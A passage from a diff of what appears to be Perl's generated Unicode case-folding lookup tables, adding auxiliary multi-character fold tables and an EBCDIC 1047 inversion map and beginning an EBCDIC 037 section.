+	0x1F7C,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_59[] = {
 	0x3C9,
-	0x3CA,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_60[] = {
 	0x3CE,
-	0x3CF,
-	0x565,
-	0x566,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_61[] = {
+	0x3C9,
+	0x342
+};
+
+static const unsigned int CF_AUX_TABLE_62[] = {
+	0x3C9,
+	0x342,
+	0x3B9
+};
+
+static const unsigned int CF_AUX_TABLE_63[] = {
+	0x86,
+	0x86
+};
+
+static const unsigned int CF_AUX_TABLE_64[] = {
+	0x86,
+	0x89
+};
+
+static const unsigned int CF_AUX_TABLE_65[] = {
+	0x86,
+	0x93
+};
+
+static const unsigned int CF_AUX_TABLE_66[] = {
+	0x86,
+	0x86,
+	0x89
+};
+
+static const unsigned int CF_AUX_TABLE_67[] = {
+	0x86,
+	0x86,
+	0x93
+};
+
+static const unsigned int CF_AUX_TABLE_68[] = {
+	0xA2,
+	0xA3
+};
+
+static const unsigned int CF_AUX_TABLE_69[] = {
 	0x574,
-	0x575,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_70[] = {
+	0x574,
+	0x565
+};
+
+static const unsigned int CF_AUX_TABLE_71[] = {
+	0x574,
+	0x56B
+};
+
+static const unsigned int CF_AUX_TABLE_72[] = {
 	0x57E,
-	0x57F,
+	0x576
+};
+
+static const unsigned int CF_AUX_TABLE_73[] = {
+	0x574,
+	0x56D
+};
+
+static const unsigned int * const CF_AUX_TABLE_ptrs[] = {
+	NULL,	/* Placeholder */
+	CF_AUX_TABLE_1,
+	CF_AUX_TABLE_2,
+	CF_AUX_TABLE_3,
+	CF_AUX_TABLE_4,
+	CF_AUX_TABLE_5,
+	CF_AUX_TABLE_6,
+	CF_AUX_TABLE_7,
+	CF_AUX_TABLE_8,
+	CF_AUX_TABLE_9,
+	CF_AUX_TABLE_10,
+	CF_AUX_TABLE_11,
+	CF_AUX_TABLE_12,
+	CF_AUX_TABLE_13,
+	CF_AUX_TABLE_14,
+	CF_AUX_TABLE_15,
+	CF_AUX_TABLE_16,
+	CF_AUX_TABLE_17,
+	CF_AUX_TABLE_18,
+	CF_AUX_TABLE_19,
+	CF_AUX_TABLE_20,
+	CF_AUX_TABLE_21,
+	CF_AUX_TABLE_22,
+	CF_AUX_TABLE_23,
+	CF_AUX_TABLE_24,
+	CF_AUX_TABLE_25,
+	CF_AUX_TABLE_26,
+	CF_AUX_TABLE_27,
+	CF_AUX_TABLE_28,
+	CF_AUX_TABLE_29,
+	CF_AUX_TABLE_30,
+	CF_AUX_TABLE_31,
+	CF_AUX_TABLE_32,
+	CF_AUX_TABLE_33,
+	CF_AUX_TABLE_34,
+	CF_AUX_TABLE_35,
+	CF_AUX_TABLE_36,
+	CF_AUX_TABLE_37,
+	CF_AUX_TABLE_38,
+	CF_AUX_TABLE_39,
+	CF_AUX_TABLE_40,
+	CF_AUX_TABLE_41,
+	CF_AUX_TABLE_42,
+	CF_AUX_TABLE_43,
+	CF_AUX_TABLE_44,
+	CF_AUX_TABLE_45,
+	CF_AUX_TABLE_46,
+	CF_AUX_TABLE_47,
+	CF_AUX_TABLE_48,
+	CF_AUX_TABLE_49,
+	CF_AUX_TABLE_50,
+	CF_AUX_TABLE_51,
+	CF_AUX_TABLE_52,
+	CF_AUX_TABLE_53,
+	CF_AUX_TABLE_54,
+	CF_AUX_TABLE_55,
+	CF_AUX_TABLE_56,
+	CF_AUX_TABLE_57,
+	CF_AUX_TABLE_58,
+	CF_AUX_TABLE_59,
+	CF_AUX_TABLE_60,
+	CF_AUX_TABLE_61,
+	CF_AUX_TABLE_62,
+	CF_AUX_TABLE_63,
+	CF_AUX_TABLE_64,
+	CF_AUX_TABLE_65,
+	CF_AUX_TABLE_66,
+	CF_AUX_TABLE_67,
+	CF_AUX_TABLE_68,
+	CF_AUX_TABLE_69,
+	CF_AUX_TABLE_70,
+	CF_AUX_TABLE_71,
+	CF_AUX_TABLE_72,
+	CF_AUX_TABLE_73
+};
+
+/* Parallel table to the above, giving the number of elements in each table
+ * pointed to */
+static const U8 CF_AUX_TABLE_lengths[] = {
+	0,	/* Placeholder */
+	2	/* CF_AUX_TABLE_1 */,
+	2	/* CF_AUX_TABLE_2 */,
+	2	/* CF_AUX_TABLE_3 */,
+	2	/* CF_AUX_TABLE_4 */,
+	3	/* CF_AUX_TABLE_5 */,
+	3	/* CF_AUX_TABLE_6 */,
+	2	/* CF_AUX_TABLE_7 */,
+	2	/* CF_AUX_TABLE_8 */,
+	2	/* CF_AUX_TABLE_9 */,
+	2	/* CF_AUX_TABLE_10 */,
+	2	/* CF_AUX_TABLE_11 */,
+	2	/* CF_AUX_TABLE_12 */,
+	2	/* CF_AUX_TABLE_13 */,
+	3	/* CF_AUX_TABLE_14 */,
+	3	/* CF_AUX_TABLE_15 */,
+	3	/* CF_AUX_TABLE_16 */,
+	2	/* CF_AUX_TABLE_17 */,
+	2	/* CF_AUX_TABLE_18 */,
+	2	/* CF_AUX_TABLE_19 */,
+	2	/* CF_AUX_TABLE_20 */,
+	2	/* CF_AUX_TABLE_21 */,
+	2	/* CF_AUX_TABLE_22 */,
+	2	/* CF_AUX_TABLE_23 */,
+	2	/* CF_AUX_TABLE_24 */,
+	2	/* CF_AUX_TABLE_25 */,
+	2	/* CF_AUX_TABLE_26 */,
+	2	/* CF_AUX_TABLE_27 */,
+	2	/* CF_AUX_TABLE_28 */,
+	2	/* CF_AUX_TABLE_29 */,
+	2	/* CF_AUX_TABLE_30 */,
+	2	/* CF_AUX_TABLE_31 */,
+	2	/* CF_AUX_TABLE_32 */,
+	2	/* CF_AUX_TABLE_33 */,
+	2	/* CF_AUX_TABLE_34 */,
+	2	/* CF_AUX_TABLE_35 */,
+	2	/* CF_AUX_TABLE_36 */,
+	2	/* CF_AUX_TABLE_37 */,
+	2	/* CF_AUX_TABLE_38 */,
+	2	/* CF_AUX_TABLE_39 */,
+	2	/* CF_AUX_TABLE_40 */,
+	2	/* CF_AUX_TABLE_41 */,
+	2	/* CF_AUX_TABLE_42 */,
+	2	/* CF_AUX_TABLE_43 */,
+	2	/* CF_AUX_TABLE_44 */,
+	3	/* CF_AUX_TABLE_45 */,
+	2	/* CF_AUX_TABLE_46 */,
+	2	/* CF_AUX_TABLE_47 */,
+	2	/* CF_AUX_TABLE_48 */,
+	2	/* CF_AUX_TABLE_49 */,
+	3	/* CF_AUX_TABLE_50 */,
+	3	/* CF_AUX_TABLE_51 */,
+	2	/* CF_AUX_TABLE_52 */,
+	3	/* CF_AUX_TABLE_53 */,
+	3	/* CF_AUX_TABLE_54 */,
+	2	/* CF_AUX_TABLE_55 */,
+	2	/* CF_AUX_TABLE_56 */,
+	3	/* CF_AUX_TABLE_57 */,
+	2	/* CF_AUX_TABLE_58 */,
+	2	/* CF_AUX_TABLE_59 */,
+	2	/* CF_AUX_TABLE_60 */,
+	2	/* CF_AUX_TABLE_61 */,
+	3	/* CF_AUX_TABLE_62 */,
+	2	/* CF_AUX_TABLE_63 */,
+	2	/* CF_AUX_TABLE_64 */,
+	2	/* CF_AUX_TABLE_65 */,
+	3	/* CF_AUX_TABLE_66 */,
+	3	/* CF_AUX_TABLE_67 */,
+	2	/* CF_AUX_TABLE_68 */,
+	2	/* CF_AUX_TABLE_69 */,
+	2	/* CF_AUX_TABLE_70 */,
+	2	/* CF_AUX_TABLE_71 */,
+	2	/* CF_AUX_TABLE_72 */,
+	2	/* CF_AUX_TABLE_73 */
+};
+
+static const int Case_Folding_invmap[] = { /* for EBCDIC 1047 */
+	0,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x42,
+	0,
+	0x51,
+	0,
+	0x70,
+	0,
+	0x9C,
+	0,
+	0x3BC,
+	0,
+	0x8C,
+	0,
+	0x8E,
+	0,
+	0x8D,
+	0,
+	0x81,
+	0,
+	0x91,
+	0,
+	0xA2,
+	0,
+	0xCB,
+	0,
+	0xDB,
+	0,
+	0x101,
+	0,
+	0x103,
+	0,
+	0x105,
+	0,
+	0x107,
+	0,
+	0x109,
+	0,
+	0x10B,
+	0,
+	0x10D,
+	0,
+	0x10F,
+	0,
+	0x111,
+	0,
+	0x113,
+	0,
+	0x115,
+	0,
+	0x117,
+	0,
+	0x119,
+	0,
+	0x11B,
+	0,
+	0x11D,
+	0,
+	0x11F,
+	0,
+	0x121,
+	0,
+	0x123,
+	0,
+	0x125,
+	0,
+	0x127,
+	0,
+	0x129,
+	0,
+	0x12B,
+	0,
+	0x12D,
+	0,
+	0x12F,
+	0,
+	CF_use_AUX_TABLE_2,
+	0,
+	0x133,
+	0,
+	0x135,
+	0,
+	0x137,
+	0,
+	0x13A,
+	0,
+	0x13C,
+	0,
+	0x13E,
+	0,
+	0x140,
+	0,
+	0x142,
+	0,
+	0x144,
+	0,
+	0x146,
+	0,
+	0x148,
+	0,
+	CF_use_AUX_TABLE_3,
+	0x14B,
+	0,
+	0x14D,
+	0,
+	0x14F,
+	0,
+	0x151,
+	0,
+	0x153,
+	0,
+	0x155,
+	0,
+	0x157,
+	0,
+	0x159,
+	0,
+	0x15B,
+	0,
+	0x15D,
+	0,
+	0x15F,
+	0,
+	0x161,
+	0,
+	0x163,
+	0,
+	0x165,
+	0,
+	0x167,
+	0,
+	0x169,
+	0,
+	0x16B,
+	0,
+	0x16D,
+	0,
+	0x16F,
+	0,
+	0x171,
+	0,
+	0x173,
+	0,
+	0x175,
+	0,
+	0x177,
+	0,
+	0xDF,
+	0x17A,
+	0,
+	0x17C,
+	0,
+	0x17E,
+	0,
+	0xA2,
+	0,
+	0x253,
+	0x183,
+	0,
+	0x185,
+	0,
+	0x254,
+	0x188,
+	0,
+	0x256,
+	0x18C,
+	0,
+	0x1DD,
+	0x259,
+	0x25B,
+	0x192,
+	0,
+	0x260,
+	0x263,
+	0,
+	0x269,
+	0x268,
+	0x199,
+	0,
+	0x26F,
+	0x272,
+	0,
+	0x275,
+	0x1A1,
+	0,
+	0x1A3,
+	0,
+	0x1A5,
+	0,
+	0x280,
+	0x1A8,
+	0,
+	0x283,
+	0,
+	0x1AD,
+	0,
+	0x288,
+	0x1B0,
+	0,
+	0x28A,
+	0x1B4,
+	0,
+	0x1B6,
+	0,
+	0x292,
+	0x1B9,
+	0,
+	0x1BD,
+	0,
+	0x1C6,
+	0x1C6,
+	0,
+	0x1C9,
+	0x1C9,
+	0,
+	0x1CC,
+	0x1CC,
+	0,
+	0x1CE,
+	0,
+	0x1D0,
+	0,
+	0x1D2,
+	0,
+	0x1D4,
+	0,
+	0x1D6,
+	0,
+	0x1D8,
+	0,
+	0x1DA,
+	0,
+	0x1DC,
+	0,
+	0x1DF,
+	0,
+	0x1E1,
+	0,
+	0x1E3,
+	0,
+	0x1E5,
+	0,
+	0x1E7,
+	0,
+	0x1E9,
+	0,
+	0x1EB,
+	0,
+	0x1ED,
+	0,
+	0x1EF,
+	0,
+	CF_use_AUX_TABLE_4,
+	0x1F3,
+	0x1F3,
+	0,
+	0x1F5,
+	0,
+	0x195,
+	0x1BF,
+	0x1F9,
+	0,
+	0x1FB,
+	0,
+	0x1FD,
+	0,
+	0x1FF,
+	0,
+	0x201,
+	0,
+	0x203,
+	0,
+	0x205,
+	0,
+	0x207,
+	0,
+	0x209,
+	0,
+	0x20B,
+	0,
+	0x20D,
+	0,
+	0x20F,
+	0,
+	0x211,
+	0,
+	0x213,
+	0,
+	0x215,
+	0,
+	0x217,
+	0,
+	0x219,
+	0,
+	0x21B,
+	0,
+	0x21D,
+	0,
+	0x21F,
+	0,
+	0x19E,
+	0,
+	0x223,
+	0,
+	0x225,
+	0,
+	0x227,
+	0,
+	0x229,
+	0,
+	0x22B,
+	0,
+	0x22D,
+	0,
+	0x22F,
+	0,
+	0x231,
+	0,
+	0x233,
+	0,
+	0x2C65,
+	0x23C,
+	0,
+	0x19A,
+	0x2C66,
+	0,
+	0x242,
+	0,
+	0x180,
+	0x289,
+	0x28C,
+	0x247,
+	0,
+	0x249,
+	0,
+	0x24B,
+	0,
+	0x24D,
+	0,
+	0x24F,
+	0,
+	0x3B9,
+	0,
+	0x371,
+	0,
+	0x373,
+	0,
+	0x377,
+	0,
+	0x3F3,
+	0,
+	0x3AC,
+	0,
+	0x3AD,
+	0,
+	0x3CC,
+	0,
+	0x3CD,
+	CF_use_AUX_TABLE_5,
+	0x3B1,
+	0,
+	0x3C3,
+	0,
+	CF_use_AUX_TABLE_6,
+	0,
+	0x3C3,
+	0,
+	0x3D7,
+	0x3B2,
+	0x3B8,
+	0,
+	0x3C6,
+	0x3C0,
+	0,
+	0x3D9,
+	0,
+	0x3DB,
+	0,
+	0x3DD,
+	0,
+	0x3DF,
+	0,
+	0x3E1,
+	0,
+	0x3E3,
+	0,
+	0x3E5,
+	0,
+	0x3E7,
+	0,
+	0x3E9,
+	0,
+	0x3EB,
+	0,
+	0x3ED,
+	0,
+	0x3EF,
+	0,
+	0x3BA,
+	0x3C1,
+	0,
+	0x3B8,
+	0x3B5,
+	0,
+	0x3F8,
+	0,
+	0x3F2,
+	0x3FB,
+	0,
+	0x37B,
+	0x450,
+	0x430,
+	0,
+	0x461,
+	0,
+	0x463,
+	0,
+	0x465,
+	0,
+	0x467,
+	0,
+	0x469,
+	0,
+	0x46B,
+	0,
+	0x46D,
+	0,
+	0x46F,
+	0,
+	0x471,
+	0,
+	0x473,
+	0,
+	0x475,
+	0,
+	0x477,
+	0,
+	0x479,
+	0,
+	0x47B,
+	0,
+	0x47D,
+	0,
+	0x47F,
+	0,
+	0x481,
+	0,
+	0x48B,
+	0,
+	0x48D,
+	0,
+	0x48F,
+	0,
+	0x491,
+	0,
+	0x493,
+	0,
+	0x495,
+	0,
+	0x497,
+	0,
+	0x499,
+	0,
+	0x49B,
+	0,
+	0x49D,
+	0,
+	0x49F,
+	0,
+	0x4A1,
+	0,
+	0x4A3,
+	0,
+	0x4A5,
+	0,
+	0x4A7,
+	0,
+	0x4A9,
+	0,
+	0x4AB,
+	0,
+	0x4AD,
+	0,
+	0x4AF,
+	0,
+	0x4B1,
+	0,
+	0x4B3,
+	0,
+	0x4B5,
+	0,
+	0x4B7,
+	0,
+	0x4B9,
+	0,
+	0x4BB,
+	0,
+	0x4BD,
+	0,
+	0x4BF,
+	0,
+	0x4CF,
+	0x4C2,
+	0,
+	0x4C4,
+	0,
+	0x4C6,
+	0,
+	0x4C8,
+	0,
+	0x4CA,
+	0,
+	0x4CC,
+	0,
+	0x4CE,
+	0,
+	0x4D1,
+	0,
+	0x4D3,
+	0,
+	0x4D5,
+	0,
+	0x4D7,
+	0,
+	0x4D9,
+	0,
+	0x4DB,
+	0,
+	0x4DD,
+	0,
+	0x4DF,
+	0,
+	0x4E1,
+	0,
+	0x4E3,
+	0,
+	0x4E5,
+	0,
+	0x4E7,
+	0,
+	0x4E9,
+	0,
+	0x4EB,
+	0,
+	0x4ED,
+	0,
+	0x4EF,
+	0,
+	0x4F1,
+	0,
+	0x4F3,
+	0,
+	0x4F5,
+	0,
+	0x4F7,
+	0,
+	0x4F9,
+	0,
+	0x4FB,
+	0,
+	0x4FD,
+	0,
+	0x4FF,
+	0,
+	0x501,
+	0,
+	0x503,
+	0,
+	0x505,
+	0,
+	0x507,
+	0,
+	0x509,
+	0,
+	0x50B,
+	0,
+	0x50D,
+	0,
+	0x50F,
+	0,
+	0x511,
+	0,
+	0x513,
+	0,
+	0x515,
+	0,
+	0x517,
+	0,
+	0x519,
+	0,
+	0x51B,
+	0,
+	0x51D,
+	0,
+	0x51F,
+	0,
+	0x521,
+	0,
+	0x523,
+	0,
+	0x525,
+	0,
+	0x527,
+	0,
+	0x529,
+	0,
+	0x52B,
+	0,
+	0x52D,
+	0,
+	0x52F,
+	0,
+	0x561,
+	0,
+	CF_use_AUX_TABLE_7,
+	0,
+	0x2D00,
+	0,
+	0x2D27,
+	0,
+	0x2D2D,
+	0,
+	0x13F0,
+	0,
+	0x432,
+	0x434,
+	0x43E,
+	0x441,
+	0x442,
+	0x44A,
+	0x463,
+	0xA64B,
+	0,
+	0x1E01,
+	0,
+	0x1E03,
+	0,
+	0x1E05,
+	0,
+	0x1E07,
+	0,
+	0x1E09,
+	0,
+	0x1E0B,
+	0,
+	0x1E0D,
+	0,
+	0x1E0F,
+	0,
+	0x1E11,
+	0,
+	0x1E13,
+	0,
+	0x1E15,
+	0,
+	0x1E17,
+	0,
+	0x1E19,
+	0,
+	0x1E1B,
+	0,
+	0x1E1D,
+	0,
+	0x1E1F,
+	0,
+	0x1E21,
+	0,
+	0x1E23,
+	0,
+	0x1E25,
+	0,
+	0x1E27,
+	0,
+	0x1E29,
+	0,
+	0x1E2B,
+	0,
+	0x1E2D,
+	0,
+	0x1E2F,
+	0,
+	0x1E31,
+	0,
+	0x1E33,
+	0,
+	0x1E35,
+	0,
+	0x1E37,
+	0,
+	0x1E39,
+	0,
+	0x1E3B,
+	0,
+	0x1E3D,
+	0,
+	0x1E3F,
+	0,
+	0x1E41,
+	0,
+	0x1E43,
+	0,
+	0x1E45,
+	0,
+	0x1E47,
+	0,
+	0x1E49,
+	0,
+	0x1E4B,
+	0,
+	0x1E4D,
+	0,
+	0x1E4F,
+	0,
+	0x1E51,
+	0,
+	0x1E53,
+	0,
+	0x1E55,
+	0,
+	0x1E57,
+	0,
+	0x1E59,
+	0,
+	0x1E5B,
+	0,
+	0x1E5D,
+	0,
+	0x1E5F,
+	0,
+	0x1E61,
+	0,
+	0x1E63,
+	0,
+	0x1E65,
+	0,
+	0x1E67,
+	0,
+	0x1E69,
+	0,
+	0x1E6B,
+	0,
+	0x1E6D,
+	0,
+	0x1E6F,
+	0,
+	0x1E71,
+	0,
+	0x1E73,
+	0,
+	0x1E75,
+	0,
+	0x1E77,
+	0,
+	0x1E79,
+	0,
+	0x1E7B,
+	0,
+	0x1E7D,
+	0,
+	0x1E7F,
+	0,
+	0x1E81,
+	0,
+	0x1E83,
+	0,
+	0x1E85,
+	0,
+	0x1E87,
+	0,
+	0x1E89,
+	0,
+	0x1E8B,
+	0,
+	0x1E8D,
+	0,
+	0x1E8F,
+	0,
+	0x1E91,
+	0,
+	0x1E93,
+	0,
+	0x1E95,
+	0,
+	CF_use_AUX_TABLE_8,
+	CF_use_AUX_TABLE_9,
+	CF_use_AUX_TABLE_10,
+	CF_use_AUX_TABLE_11,
+	CF_use_AUX_TABLE_12,
+	0x1E61,
+	0,
+	CF_use_AUX_TABLE_1,
+	0,
+	0x1EA1,
+	0,
+	0x1EA3,
+	0,
+	0x1EA5,
+	0,
+	0x1EA7,
+	0,
+	0x1EA9,
+	0,
+	0x1EAB,
+	0,
+	0x1EAD,
+	0,
+	0x1EAF,
+	0,
+	0x1EB1,
+	0,
+	0x1EB3,
+	0,
+	0x1EB5,
+	0,
+	0x1EB7,
+	0,
+	0x1EB9,
+	0,
+	0x1EBB,
+	0,
+	0x1EBD,
+	0,
+	0x1EBF,
+	0,
+	0x1EC1,
+	0,
+	0x1EC3,
+	0,
+	0x1EC5,
+	0,
+	0x1EC7,
+	0,
+	0x1EC9,
+	0,
+	0x1ECB,
+	0,
+	0x1ECD,
+	0,
+	0x1ECF,
+	0,
+	0x1ED1,
+	0,
+	0x1ED3,
+	0,
+	0x1ED5,
+	0,
+	0x1ED7,
+	0,
+	0x1ED9,
+	0,
+	0x1EDB,
+	0,
+	0x1EDD,
+	0,
+	0x1EDF,
+	0,
+	0x1EE1,
+	0,
+	0x1EE3,
+	0,
+	0x1EE5,
+	0,
+	0x1EE7,
+	0,
+	0x1EE9,
+	0,
+	0x1EEB,
+	0,
+	0x1EED,
+	0,
+	0x1EEF,
+	0,
+	0x1EF1,
+	0,
+	0x1EF3,
+	0,
+	0x1EF5,
+	0,
+	0x1EF7,
+	0,
+	0x1EF9,
+	0,
+	0x1EFB,
+	0,
+	0x1EFD,
+	0,
+	0x1EFF,
+	0,
 	0x1F00,
-	0x1F08,
+	0,
+	0x1F10,
+	0,
 	0x1F20,
-	0x1F28,
+	0,
+	0x1F30,
+	0,
+	0x1F40,
+	0,
+	CF_use_AUX_TABLE_13,
+	0,
+	CF_use_AUX_TABLE_14,
+	0,
+	CF_use_AUX_TABLE_15,
+	0,
+	CF_use_AUX_TABLE_16,
+	0,
+	0x1F51,
+	0,
+	0x1F53,
+	0,
+	0x1F55,
+	0,
+	0x1F57,
+	0,
 	0x1F60,
-	0x1F68,
+	0,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_17,
+	CF_use_AUX_TABLE_18,
+	CF_use_AUX_TABLE_19,
+	CF_use_AUX_TABLE_20,
+	CF_use_AUX_TABLE_21,
+	CF_use_AUX_TABLE_22,
+	CF_use_AUX_TABLE_23,
+	CF_use_AUX_TABLE_24,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_25,
+	CF_use_AUX_TABLE_26,
+	CF_use_AUX_TABLE_27,
+	CF_use_AUX_TABLE_28,
+	CF_use_AUX_TABLE_29,
+	CF_use_AUX_TABLE_30,
+	CF_use_AUX_TABLE_31,
+	CF_use_AUX_TABLE_32,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	CF_use_AUX_TABLE_33,
+	CF_use_AUX_TABLE_34,
+	CF_use_AUX_TABLE_35,
+	CF_use_AUX_TABLE_36,
+	CF_use_AUX_TABLE_37,
+	CF_use_AUX_TABLE_38,
+	CF_use_AUX_TABLE_39,
+	CF_use_AUX_TABLE_40,
+	0,
+	CF_use_AUX_TABLE_41,
+	CF_use_AUX_TABLE_42,
+	CF_use_AUX_TABLE_43,
+	0,
+	CF_use_AUX_TABLE_44,
+	CF_use_AUX_TABLE_45,
+	0x1FB0,
 	0x1F70,
-	0x1F71,
-	0x1F74,
-	0x1F75,
+	CF_use_AUX_TABLE_42,
+	0,
+	0x3B9,
+	0,
+	CF_use_AUX_TABLE_46,
+	CF_use_AUX_TABLE_47,
+	CF_use_AUX_TABLE_48,
+	0,
+	CF_use_AUX_TABLE_49,
+	CF_use_AUX_TABLE_50,
+	0x1F72,
+	CF_use_AUX_TABLE_47,
+	0,
+	CF_use_AUX_TABLE_51,
+	CF_use_AUX_TABLE_5,
+	0,
+	CF_use_AUX_TABLE_52,
+	CF_use_AUX_TABLE_53,
+	0x1FD0,
+	0x1F76,
+	0,
+	CF_use_AUX_TABLE_54,
+	CF_use_AUX_TABLE_6,
+	CF_use_AUX_TABLE_55,
+	0,
+	CF_use_AUX_TABLE_56,
+	CF_use_AUX_TABLE_57,
+	0x1FE0,
+	0x1F7A,
+	0x1FE5,
+	0,
+	CF_use_AUX_TABLE_58,
+	CF_use_AUX_TABLE_59,
+	CF_use_AUX_TABLE_60,
+	0,
+	CF_use_AUX_TABLE_61,
+	CF_use_AUX_TABLE_62,
+	0x1F78,
 	0x1F7C,
-	0x1F7D
+	CF_use_AUX_TABLE_59,
+	0,
+	0x3C9,
+	0,
+	0x92,
+	0x47,
+	0,
+	0x214E,
+	0,
+	0x2170,
+	0,
+	0x2184,
+	0,
+	0x24D0,
+	0,
+	0x2C30,
+	0,
+	0x2C61,
+	0,
+	0x26B,
+	0x1D7D,
+	0x27D,
+	0,
+	0x2C68,
+	0,
+	0x2C6A,
+	0,
+	0x2C6C,
+	0,
+	0x251,
+	0x271,
+	0x250,
+	0x252,
+	0,
+	0x2C73,
+	0,
+	0x2C76,
+	0,
+	0x23F,
+	0x2C81,
+	0,
+	0x2C83,
+	0,
+	0x2C85,
+	0,
+	0x2C87,
+	0,
+	0x2C89,
+	0,
+	0x2C8B,
+	0,
+	0x2C8D,
+	0,
+	0x2C8F,
+	0,
+	0x2C91,
+	0,
+	0x2C93,
+	0,
+	0x2C95,
+	0,
+	0x2C97,
+	0,
+	0x2C99,
+	0,
+	0x2C9B,
+	0,
+	0x2C9D,
+	0,
+	0x2C9F,
+	0,
+	0x2CA1,
+	0,
+	0x2CA3,
+	0,
+	0x2CA5,
+	0,
+	0x2CA7,
+	0,
+	0x2CA9,
+	0,
+	0x2CAB,
+	0,
+	0x2CAD,
+	0,
+	0x2CAF,
+	0,
+	0x2CB1,
+	0,
+	0x2CB3,
+	0,
+	0x2CB5,
+	0,
+	0x2CB7,
+	0,
+	0x2CB9,
+	0,
+	0x2CBB,
+	0,
+	0x2CBD,
+	0,
+	0x2CBF,
+	0,
+	0x2CC1,
+	0,
+	0x2CC3,
+	0,
+	0x2CC5,
+	0,
+	0x2CC7,
+	0,
+	0x2CC9,
+	0,
+	0x2CCB,
+	0,
+	0x2CCD,
+	0,
+	0x2CCF,
+	0,
+	0x2CD1,
+	0,
+	0x2CD3,
+	0,
+	0x2CD5,
+	0,
+	0x2CD7,
+	0,
+	0x2CD9,
+	0,
+	0x2CDB,
+	0,
+	0x2CDD,
+	0,
+	0x2CDF,
+	0,
+	0x2CE1,
+	0,
+	0x2CE3,
+	0,
+	0x2CEC,
+	0,
+	0x2CEE,
+	0,
+	0x2CF3,
+	0,
+	0xA641,
+	0,
+	0xA643,
+	0,
+	0xA645,
+	0,
+	0xA647,
+	0,
+	0xA649,
+	0,
+	0xA64B,
+	0,
+	0xA64D,
+	0,
+	0xA64F,
+	0,
+	0xA651,
+	0,
+	0xA653,
+	0,
+	0xA655,
+	0,
+	0xA657,
+	0,
+	0xA659,
+	0,
+	0xA65B,
+	0,
+	0xA65D,
+	0,
+	0xA65F,
+	0,
+	0xA661,
+	0,
+	0xA663,
+	0,
+	0xA665,
+	0,
+	0xA667,
+	0,
+	0xA669,
+	0,
+	0xA66B,
+	0,
+	0xA66D,
+	0,
+	0xA681,
+	0,
+	0xA683,
+	0,
+	0xA685,
+	0,
+	0xA687,
+	0,
+	0xA689,
+	0,
+	0xA68B,
+	0,
+	0xA68D,
+	0,
+	0xA68F,
+	0,
+	0xA691,
+	0,
+	0xA693,
+	0,
+	0xA695,
+	0,
+	0xA697,
+	0,
+	0xA699,
+	0,
+	0xA69B,
+	0,
+	0xA723,
+	0,
+	0xA725,
+	0,
+	0xA727,
+	0,
+	0xA729,
+	0,
+	0xA72B,
+	0,
+	0xA72D,
+	0,
+	0xA72F,
+	0,
+	0xA733,
+	0,
+	0xA735,
+	0,
+	0xA737,
+	0,
+	0xA739,
+	0,
+	0xA73B,
+	0,
+	0xA73D,
+	0,
+	0xA73F,
+	0,
+	0xA741,
+	0,
+	0xA743,
+	0,
+	0xA745,
+	0,
+	0xA747,
+	0,
+	0xA749,
+	0,
+	0xA74B,
+	0,
+	0xA74D,
+	0,
+	0xA74F,
+	0,
+	0xA751,
+	0,
+	0xA753,
+	0,
+	0xA755,
+	0,
+	0xA757,
+	0,
+	0xA759,
+	0,
+	0xA75B,
+	0,
+	0xA75D,
+	0,
+	0xA75F,
+	0,
+	0xA761,
+	0,
+	0xA763,
+	0,
+	0xA765,
+	0,
+	0xA767,
+	0,
+	0xA769,
+	0,
+	0xA76B,
+	0,
+	0xA76D,
+	0,
+	0xA76F,
+	0,
+	0xA77A,
+	0,
+	0xA77C,
+	0,
+	0x1D79,
+	0xA77F,
+	0,
+	0xA781,
+	0,
+	0xA783,
+	0,
+	0xA785,
+	0,
+	0xA787,
+	0,
+	0xA78C,
+	0,
+	0x265,
+	0,
+	0xA791,
+	0,
+	0xA793,
+	0,
+	0xA797,
+	0,
+	0xA799,
+	0,
+	0xA79B,
+	0,
+	0xA79D,
+	0,
+	0xA79F,
+	0,
+	0xA7A1,
+	0,
+	0xA7A3,
+	0,
+	0xA7A5,
+	0,
+	0xA7A7,
+	0,
+	0xA7A9,
+	0,
+	0x266,
+	0x25C,
+	0x261,
+	0x26C,
+	0x26A,
+	0,
+	0x29E,
+	0x287,
+	0x29D,
+	0xAB53,
+	0xA7B5,
+	0,
+	0xA7B7,
+	0,
+	0x13A0,
+	0,
+	CF_use_AUX_TABLE_63,
+	CF_use_AUX_TABLE_64,
+	CF_use_AUX_TABLE_65,
+	CF_use_AUX_TABLE_66,
+	CF_use_AUX_TABLE_67,
+	CF_use_AUX_TABLE_68,
+	0,
+	CF_use_AUX_TABLE_69,
+	CF_use_AUX_TABLE_70,
+	CF_use_AUX_TABLE_71,
+	CF_use_AUX_TABLE_72,
+	CF_use_AUX_TABLE_73,
+	0,
+	0xFF41,
+	0,
+	0x10428,
+	0,
+	0x104D8,
+	0,
+	0x10CC0,
+	0,
+	0x118C0,
+	0,
+	0x1E922,
+	0
 };
 
-static const UV _Perl_Any_Folds_invlist[] = { /* for ASCII/Latin1 */
-	253,	/* Number of elements */
+#   endif	/* EBCDIC 1047 */
+
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
+
+static const UV Case_Folding_invlist[] = { /* for EBCDIC 037 */
+	1388,	/* Number of elements */
 	148565664, /* Version and data structure type */
